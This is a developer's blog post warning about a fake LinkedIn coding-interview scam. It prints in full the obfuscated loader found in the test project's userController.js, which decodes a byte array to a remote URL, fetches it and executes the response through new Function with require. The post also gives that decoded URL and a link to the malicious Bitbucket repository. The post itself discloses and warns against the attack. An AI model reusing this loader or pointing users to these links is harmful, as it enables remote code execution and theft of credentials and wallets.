

# How I Almost Got Hacked By A 'Job Interview'

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I was 30 seconds away from running malware on my machine.

The attack vector? A fake coding interview from a "legitimate" blockchain company.

Here's how a sophisticated scam operation almost got me, and why every developer needs to read this.

## The Setup

Last week, I got a LinkedIn message from Mykola Yanchii. Chief Blockchain Officer at Symfa. Real company. Real LinkedIn profile. 1,000+ connections. The works.

The message was smooth. Professional. "We're developing BestCity, a platform aimed at transforming real estate workflows. Part-time roles available. Flexible structure."

I've been freelancing for 8 years. Built web applications, worked on various projects, done my share of code reviews. I'm usually paranoid about security - or so I thought.

This looked legit. So I said yes to the call.

## The Hook

Before our meeting, Mykola sent me a "test project" - standard practice for tech interviews. A React/Node codebase to evaluate my skills. 30-minute test. Simple enough.

The Bitbucket repo looked professional. Clean README. Proper documentation. Even had that corporate stock photo of a woman with a tablet standing in front of a house. You know the one.

Here's where I almost screwed up: I was running late for our call. Had about 30 minutes to review the code. So I did what lazy developers do - I started poking around the codebase without running it first.

Usually, I sandbox everything. Docker containers. Isolated environments. But I was in a rush.

I spent 30 minutes fixing obvious bugs, adding a docker-compose file, cleaning up the code. Standard stuff. Ready to run it and show my work.

Then I had one of those paranoid developer moments.

## The Save

Before hitting `npm start`, I threw this prompt at my Cursor AI agent:

"Before I run this application, can you see if there are any suspicious code in this codebase? Like reading files it shouldn't be reading, accessing crypto wallets etc."

And holy sh\*t.

Sitting right in the middle of `server/controllers/userController.js` was this beauty:

```
//Get Cookie
(async () => {
  const byteArray = [
    104, 116, 116, 112, 115, 58, 47, 47, 97, 112, 105, 46, 110, 112, 111, 105,
    110, 116, 46, 105, 111, 47, 50, 99, 52, 53, 56, 54, 49, 50, 51, 57, 99, 51,
    98, 50, 48, 51, 49, 102, 98, 57
  ];
  const uint8Array = new Uint8Array(byteArray);
  const decoder = new TextDecoder('utf-8');
  axios.get(decoder.decode(uint8Array))
    .then(response => {
      new Function("require", response.data.model)(require);
    })
    .catch(error => { });
})();
```

Obfuscated. Sneaky. Evil. And 100% active - embedded between legitimate admin functions, ready to execute with full server privileges the moment admin routes were accessed.

I decoded that byte array: `https://api.npoint.io/2c458612399c3b2031fb9`

When I first hit the URL, it was live. I grabbed the payload. Pure malware. The kind that steals everything - crypto wallets, files, passwords, your entire digital existence.

Here's the kicker: the URL died exactly 24 hours later. These guys weren't messing around - they had their infrastructure set up to burn evidence fast.

I ran the payload through VirusTotal - [check out the behavior analysis yourself](#). Spoiler alert: it's nasty.

## The Operation

This wasn't some amateur hour scam. This was sophisticated:

**The LinkedIn Profile:** Mykola Yanchii looked 100% real. Chief Blockchain Officer. Proper work history. Even had those cringy LinkedIn posts about "innovation" and "blockchain consulting."

**The Company:** Symfa had a full LinkedIn company page. Professional branding. Multiple employees. Posts about "transforming real estate with blockchain." They even had affiliated pages and follower networks.

**The Approach:** No red flags in the initial outreach. Professional language. Reasonable project scope. They even used Calendly for scheduling.

**The Payload:** The malicious code was positioned strategically in the server-side controller, ready to execute with full Node.js privileges when admin functionality was accessed.

## The Psychology

Here's what made this so dangerous:

**Urgency:** "Complete the test before the meeting to save time."

**Authority:** LinkedIn verified profile, real company, professional setup.

**Familiarity:** Standard take-home coding test. Every developer has done dozens of these.

**Social Proof:** Real company page with real employees and real connections.

I almost fell for it. And I'm paranoid about this stuff.

## The Lesson

One simple AI prompt saved me from disaster.

Not fancy security tools. Not expensive antivirus software. Just asking my coding assistant to look for suspicious patterns before executing unknown code.

The scary part? This attack vector is perfect for developers. We download and run code all day long. GitHub repos, npm packages, coding challenges. Most of us don't sandbox every single thing.

And this was server-side malware. Full Node.js privileges. Access to environment variables, database connections, file systems, crypto wallets. Everything.

## The Scale

If this sophisticated operation is targeting developers at scale, how many have already been compromised? How many production systems are they inside right now?

**Perfect Targeting:** Developers are ideal victims. Our machines contain the keys to the kingdom: production credentials, crypto wallets, client data.

**Professional Camouflage:** LinkedIn legitimacy, realistic codebases, standard interview processes.

**Technical Sophistication:** Multi-layer obfuscation, remote payload delivery, dead-man switches, server-side execution.

One successful infection could compromise production systems at major companies, crypto holdings worth millions, personal data of thousands of users.

## The Bottom Line

If you're a developer getting LinkedIn job opportunities:

1. **Always sandbox unknown code.** Docker containers, VMs, whatever. Never run it on your main machine.
2. **Use AI to scan for suspicious patterns.** Takes 30 seconds. Could save your entire digital life.
3. **Verify everything.** Real LinkedIn profile doesn't mean real person. Real company doesn't mean real opportunity.
4. **Trust your gut.** If someone's rushing you to execute code, that's a red flag.

This scam was so sophisticated it fooled my initial BS detector. But one paranoid moment and a simple AI prompt exposed the whole thing.

The next time someone sends you a "coding challenge," remember this story.

Your crypto wallet will thank you.

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*If you're a developer who has run "coding challenges" from LinkedIn recruiters, you should probably read this twice.*

**the LinkedIn profiles**

Symfa company profile header including logo, name, tagline 'Harnessing the power of AI and value-driven R&D to move insurance forward', location, and employee count.

Overview section describing Symfa as an international software solution provider and tech partner for companies across finance and insurance.

Symfa | Get a free quote in 24h. We help companies orchestrate their digital transformation through custom software solutions and fine-tuned delivery processes. Contact Sales button.

Featured section with two posts: 'AI Low-Code Showdowns: Building a Fintech MV...' and 'Symfa Recognized for Data Innovation in Financial Services'.

Page posts section with two posts: 'We're proud to share that Symfa has been named to the #DataTech50 list by FinTech Global...' and 'In May we rolled out AI-bility Lab... an in-house playground where Symfa teammates can experiment with AI at work...'.

People highlights section showing 1 connection: Mykola Yanchii - 1st, Blockchain Innovator | Chief Blockchain Officer | Building the Future of Crypto & Databases at Crypto.com.

Unlock insights on Symfa section featuring 'The latest hiring trends' chart, 'Growth trends' showing +3% employee growth, and 'Recent hires' listing Pavel and 2 others.

- Footer navigation links: About, Accessibility, Talent Solutions, Questions?, Select Language, Professional, Careers, Marketing Solutions, Manage your account and privacy, Community Pages, Ad Choices, Go to your settings, Sales Solutions, Mobile, Small Business, Recommendation transparency, Safety Center.

Affiliated pages section featuring AISNovations with a Follow button.

Pages people also viewed section listing ID2AT Venture Studio, Geek-Solutions, and Innovwise.

People also follow section listing OpenAI, GeeksforGeeks, Meta, and others.

Connections that work here section featuring Mykola Yanchii - 1st with a Message button.

Vertical messaging sidebar with a 'Messaging' header and a close button.

Profile header for Mykola Yanchii, 1st. Blockchain Innovator | Chief Blockchain Officer | Building the Future of Crypto & Databases at Crypto.com. Includes a banner image with 'BE BRAVE LIKE UKRAINE' and a '500+ connections' badge.

Highlights section featuring a connection with Mykola: "Hi Mykola, it's great to connect with you. Looking forward to staying in touch."

About section: With 3+ years of experience in software engineering, I specialize in scalable Web3 solutions, high-performance dApps, and cutting-edge database systems. My expertise spans: Blockchain Development: Designing gas-optimized smart contracts in Solidity, building secure DeFi protocols...

Activity section showing 973 followers and recent posts. One post is in Ukrainian: "Чому в резюме не можна вказати 'старша сестра' в хард скилах або досвіді? Цього року моя 'мала' сестра вступила в університет і переїхала в Київ. Усе літо я радо пт..."

Experience section listing roles: Blockchain Innovator at Symfa (2023-Present), Investor & Tech Development Specialist at Titios (2023-Present), Chief Blockchain Officer at Innovation Development HUB (2020-2023), and Blockchain Consultant at Am-sof (2018-2020).

Education section: Kremenчук Mykhailo Ostrohradskiy National University, Bachelor's degree, International Business (Apr 2015 - May 2017).

More profiles for you section listing users like Shivansh Chaitanya, Jorge Calleja, and Petar Tonev with connect and follow buttons.

Explore Premium profiles section listing users like Manmit Singh, Bikramjeet S., Mehul Lathi, and Soppari Ramesh.

People you may know section listing users like Kyrylo Pantius, Yurii Rybak, and Danyil Kurka.


You might like section listing pages like OpenAI and GeeksforGeeks.

Messaging sidebar showing a list of messages from Mykola Yanchii, Snowflake, and others.

Open chat window with Mykola Yanchii. Messages include: "Pls check again. I have updated the test requirement.", "got it, thanks.", "looking forward to the call.", "Thanks, me too"

### Skills


**Innovation Development**

 Blockchain Innovator at Symfa

[Endorse](#)

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**Creativity and Innovation**

 Blockchain Innovator at Symfa



[Endorse](#)

[Show all 40 skills →](#)

### Interests

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<b>Hiron Inoue</b>  · 3rd	<b>Yuzuru Fukuda</b>  · 2nd
取締役執行役員, Senior Partner, Application Operations Offering & Growth, Consulting, IBM Japan Forbes Japan "Women in Tech30" 30,803 followers	Fujitsu · Corporate Executive Officer - Senior EVP, Enterprise Division CEO 25,806 followers
<a href="#">+ Follow</a>	<a href="#">+ Follow</a>

[Show all Top Voices →](#)

## Messages



Mykola Yanchii



Mykola Yanchii • 7:13 PM

Good. Schedule the meeting and send me a screenshot.

[https://calendly.com/andrey\\_symfa\\_meeting/](https://calendly.com/andrey_symfa_meeting/)

I think my Hiring & Tech Manager will be running the meeting and hope you understand that my manager may be a little late due to a tight meeting schedule.



Andrey Zhilitskiy

calendly.com

Here is the test requirement.

[https://docs.google.com/document/d/15b\\_1\\_ggtV9Lg3QUI7FhRtdc7qG9rQI2-sSiRz47fxHw/](https://docs.google.com/document/d/15b_1_ggtV9Lg3QUI7FhRtdc7qG9rQI2-sSiRz47fxHw/)

To shorten the meeting time and avoid unnecessary steps, complete the test before the meeting and be prepared to explain it in the meeting.

knowledge of React & Node, application ability to the basic stack, and creativity.  
We have shared a test project, which is part of the demo version we have prepared for the current project development.  
The test task should be thoroughly carried out in the test project.  
Through the test, you can understand the structure of the demo version and our logic.  
Take on tasks that fit your role, your tech stack, and your confidence.

BestCity\_Test\_Requirement



Write a message...



Send



SEP 6



**Mykola Yanchii**  • 10:21 AM

Hi Arun,

I'd love your help with a project we're working on at Symfa. We're developing BestCity, a platform aimed at transforming real estate workflows, and we're looking to add experienced Software experts to our remote team. Part-time and contract roles are open—we're flexible on structure.

Here's a link to the role details if you'd like to explore further:

<https://docs.google.com/document/d/1ToJFUxqZZRQ5F2mOyExQ01uBFvdxUqf4xf4IsKqW6Gc/>



Write a message...



GIF



Send



bit bucket

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test\_version

BestCity / BestCity test\_version Clone

main Filter files


Name	Size	Last commit	Message
build		yesterday	test_version
public		yesterday	test_version
server		yesterday	test_version
src		yesterday	test_version
.gitignore	624 B	yesterday	Initial commit
README.md	1.44 KB	yesterday	test_version
package-lock.json	1.26 MB	yesterday	test_version
package.json	1.36 KB	yesterday	test_version

README.md

## BestCity

### What is BestCity?

BestCity is a modern real estate investment platform that combines traditional property investing with cryptocurrency payments. Built with React and Tailwind CSS, it mirrors the functionality of Arrived.com while adding blockchain-based transaction capabilities.



### Key Features

- Cryptocurrency-enabled property transactions
- Mobile-responsive design
- SEO-optimized architecture
- Real-time market data integration
- Interactive 3D property visualization
- Smart contract integration for secure transactions

### Technical Overview

The platform is built using:

- React for component-based architecture
- Tailwind CSS for responsive styling
- React Router for client-side routing
- Three.js for 3D property visualizations
- Web3.js for blockchain interactions

### Learn More

- You can learn more in the [Create React App documentation](#).
- To learn React, check out the [React documentation](#).

### Contributing

Contributions are welcome! Please:

1. Create a feature branch
2. Write comprehensive tests
3. Document new features
4. Ensure code style consistency
5. Submit pull requests with clear descriptions

### Acknowledgments

Special thanks to the BestCity team for inspiration and the React/Tailwind CSS communities for their continued support and resources.

[https://bitbucket.org/0x3bestcity/test\\_version/src/main/](https://bitbucket.org/0x3bestcity/test_version/src/main/) - not sure how long this will stay up though.

Source: <https://blog.daviddodda.com/how-i-almost-got-hacked-by-a-job-interview>